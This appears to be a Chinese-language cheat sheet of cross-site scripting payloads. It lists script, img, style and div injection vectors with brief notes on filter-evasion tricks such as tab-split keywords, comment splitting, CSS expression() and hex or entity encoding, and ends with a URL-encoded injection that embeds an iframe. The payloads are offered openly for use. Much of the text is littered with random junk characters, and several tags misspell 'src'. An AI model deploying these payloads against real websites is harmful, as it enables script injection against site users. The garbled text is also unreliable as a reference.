<script>alert("跨站")</script> (最常用)- N# R* X1 S9 S- P
<img scr=javascript:alert("跨站")></img>' e8 m3 ^" T& o
<img scr="javascript: alert(/跨站/)></img>
" J; W S, E/ I! }7 S<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格)) d. P' K3 v8 B# {. `
<img scr="#" onerror=alert(/跨站/)></img>
; c4 P1 Q$ \, V3 N) I/ H<img scr="#" style="xss:expression(alert(/xss/));"></img>
9 m3 G, s6 [$ j4 R( U. e7 G1 x! f<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释)
3 H" B. g4 D! W" x- O' E4 k! I<img src=vbscript:msgbox ("xss")></img>4 t C6 ]- b: B2 v9 w" w
<style> input {left:expression (alert('xss'))}</style>
4 q4 T' Y- E0 ]<div style={left:expression (alert('xss'))}></div>1 \2 @- f7 N# [+ D$ d$ m% G
<div style={left:exp/* */ression (alert('xss'))}></div>3 d8 Y/ v9 K0 f% t0 f! {$ ?
<div style={left:\0065\0078ression (alert('xss'))}></div>' `7 i [7 ~ g N; M1 O6 z
html 实体 <div style={left:&#x0065;xpression (alert('xss'))}></div>( S& k4 Y' b) y. K; P. h g. N
unicode <div style="{left:expRessioN (alert('xss'))}">
9 T4 y9 u. _9 x, q! a; @0 I" m% G7 K( q
"]}%3Cscript%3Ealert('By b14ckb0y')%3C/script%3E{[&item="]<iframe%20src=http://new.qzone.qq.com/9530772%20width=400%20height=600></iframe>[" `- l3 B' t# c T, U& B: j
|